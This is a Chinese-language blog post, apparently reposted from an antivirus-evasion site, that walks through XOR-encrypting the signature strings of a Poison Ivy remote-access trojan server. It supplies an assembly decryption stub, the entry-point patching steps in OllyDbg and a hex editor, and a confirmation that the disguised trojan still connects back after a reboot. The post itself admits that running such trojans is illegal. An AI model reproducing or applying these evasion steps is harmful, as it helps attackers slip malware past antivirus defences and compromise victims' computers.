【白银时代】备注:大家玩玩就好,今年可是枪打出头鸟哎,现在玩远控都犯法的……

来源:http://www.caodan.com/xor-yi-huo-jia-mi-zai-mian-sha-zhong-de-ying-yong/

异或加密是一种简单的加密算法,在破解中经常遇到。举个例子说明一下XOR加密算法,例如00001 xor 11110 =11110,11110 xor 11111=00001,xor异或是可以看做是不进位的二进制加法。这样说来就好理解了。
在反汇编中,xor的运算指令如下所示:
Xor eax,11111111,这个的含义就是寄存器eax里面的值与11111111做异或运算之后把结果赋给eax,如果在进行一次同样的运算,eax的值又变回原来的值了。
下面的代码就是进行xor加密和解密的代码(附上说明):
Pushad 把所有寄存器压入堆栈
mov ebx,X0                 X0是进行加密地址的起始地址
mov ecx, 4                  4是循环的长度
mov eax,dword ptr [ebx] 地址为X1,特征码的内存地址传送到ebx寄存器中
xor eax,11223344 其中11223344是我们自定义的密匙
mov dword ptr [ebx], eax 把加密后的内容传送给ebx
add ebx, 4                  4是一次加密字串的长度
loopd short  X1 跳转到 mov eax,dword ptr [ebx] 进行循环
popad 所有寄存器取出堆栈
jmp X2 X2是入口点
看了说明很容易就能明白这段反汇编指令的作用了,这段指令既可以进行加密也可以进行解密。过程大致是这样的,我们把这段指令放在程序的入口处,用OD单步运行的时候,会得到指定字符串的加密后的字符串,这个是加密过程,将加密后字符串复制出来,用16进制编辑器替换掉原来的字符串,再次运行的时候,就是解密了(原理:00001 xor 11110 =11110,11110 xor 11111=00001,前面说过了 xor两次后会得到原来的值,将加密的再次异或运算就是原来的值),会得到原来的字符串。类似于动态解密的过程。下面用实例来操作一下。
首先生成Poison2.3.2木马(国外的一个木马的汉化版)的服务端,OD载入,记录原来入口点004010D4,寻找空白区域,起始地址为00401112,我们来加密一段写入注册表的字符串,图1
image001
图1
在空白区域添加上面我们说过的代码:
00401113 > 60            pushad                         //新的入口地址
00401114 BB 10334000   mov ebx, 00403310 //加密起始地址图1中椭圆圈上的地址
00401119 B9 04000000   mov     ecx, 4   //循环四次,
0040111E 8B03          mov     eax, dword ptr [ebx]
00401120 35 44332211   xor     eax, 11223344
00401125 8903          mov     dword ptr [ebx], eax
00401127 83C3 04       add   ebx, 4    //每次加密的长度,图1的四个长度一整行
0040112A ^ E2 F2         loopd   short 0040111E
0040112C 61            popad
0040112D ^ EB A5         jmp     short <模块原来入口点> //跳到原来入口
0040112F 90            nop
结合图1,看好代码中地址的对应关系,之后OD保存添加完代码的文件,用Peditor更改入口到00401113;图2
image002
图2
之后OD再次载入,之后让OD下面16进制的窗口显示如图1的样子,显示出要加密的数据,接下来在OD中单步步入(F7),我们看到如下,图3
image003
图3
看到了加密后的数据,和原来对比参看图1
之后我们将这一整行,复制出来,图4
image004
图4
复制出来的数据如下:
00403310 27 41 4D 62 2B 55 56 4D 13 5A 4C 75 2B 44 51 4D ‘AMb+UVMZLu+DQM
之后关闭OD,用C32ASM打开文件,搜索找到刚才我们要加密的字符串,如图5
image005
图5 加密前的数据,即将用加密后数据替换。
之后用加密数据替换,如图6
image006
图6 替换后的数据
之后保存文件,再用OD载入,F7单步步入。
会看到被解密的效果。图7
image007
图7
图7是循环两次的结果,发现这一行中已经解密出来一半,运行程序的时候效果是一样的。也会在内存中
解密出原来的结果,如果用此方法加密特码,保存在文件中是加密后的,也就达到了修改特征码的目的,运行的时候就解密出来,程序可以正常运行。我们来测试 下,把服务端托到虚拟机,运行后成功上线,这个是必然的,我们再重新启动下虚拟机看看能不能成功上线,因为我们刚才改的是注册表启动的字符串。
重启后成功上线,如图8
image008
图8
总结:至于运用的实际情况可能每个人都有所不同,你也可以将加密的长度调整为一个区段,这就需要仔细的计算了。而且这种加密不改变文件的大小,修改特征码也简单方便。
本文来源于:免杀辅助。转载请保留这个链接,不会对你的SEO大业产生影响。

留下回复